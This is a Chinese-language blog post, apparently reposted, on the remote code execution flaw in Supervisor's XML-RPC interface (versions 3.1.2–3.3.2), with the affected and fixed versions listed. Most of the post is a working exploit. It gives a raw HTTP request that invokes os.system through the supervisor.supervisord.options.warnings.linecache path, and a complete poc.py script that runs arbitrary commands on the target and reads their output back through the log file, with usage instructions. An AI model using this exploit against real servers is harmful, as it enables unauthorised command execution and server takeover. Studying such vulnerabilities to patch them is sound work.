本文共 1607 字,大约阅读时间需要 5 分钟。
Supervisor是使用Python 开发的进程管理程序,一般使用命令行进行管理,当然也能通过web接口图形化管理服务。在配置了web接口后,服务器会启动一个XMLRPC服务器,端口为9001,默认配置接口是不需要密码访问的,管理员也可设置为密码访问。利用本漏洞,在获取该接口的访问权限后,远程攻击者可发送一段精心构造的请求,导致可在服务器执行任意代码。
影响版本:Supervisor 3.1.2 <= Version <= 3.3.2
已修复版本:Supervisor 3.3.3、Supervisor 3.2.4、Superivsor 3.1.4、Supervisor 3.0.1
我们使用burpsuit进行抓包,然后发送到repter,修改数据包如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 | POST /RPC2 HTTP/1.1 Host: 127.0.0.1:9001 Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 213 <?xml version="1.0"?> <methodCall> <methodName>supervisor.supervisord.options.warnings.linecache.os.system</methodName> <params> <param> <string>touch /tmp/success</string> </param> </params> </methodCall> |
执行命令成功
通过这个poc虽然能验证漏洞,但是执行的命令却没有回显,但是命令是执行成功了的!
验证码命令执行成功
另外我们可以将命令执行的结果写入log文件中,再调用Supervisord自带的readLog方法读取log文件,将结果读出来。
利用代码poc.py如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 | import xmlrpc.client import sys target = sys.argv[ 1 ] command = sys.argv[ 2 ] with xmlrpc.client.ServerProxy(target) as proxy: old = getattr (proxy, 'supervisor.readLog' )( 0 , 0 ) logfile = getattr (proxy, 'supervisor.supervisord.options.logfile.strip' )() getattr (proxy, 'supervisor.supervisord.options.warnings.linecache.os.system' )( '{} | tee -a {}' . format (command, logfile)) result = getattr (proxy, 'supervisor.readLog' )( 0 , 0 ) print (result[ len (old):]) |
使用方法:
1 | python3 poc.py "http://your-ip:9001/RPC2" "command" |
执行任意命令并回显
参考链接:
本文转自 eth10 51CTO博客,原文链接:http://blog.51cto.com/eth10/1955450
转载地址:http://cbtka.baihongyu.com/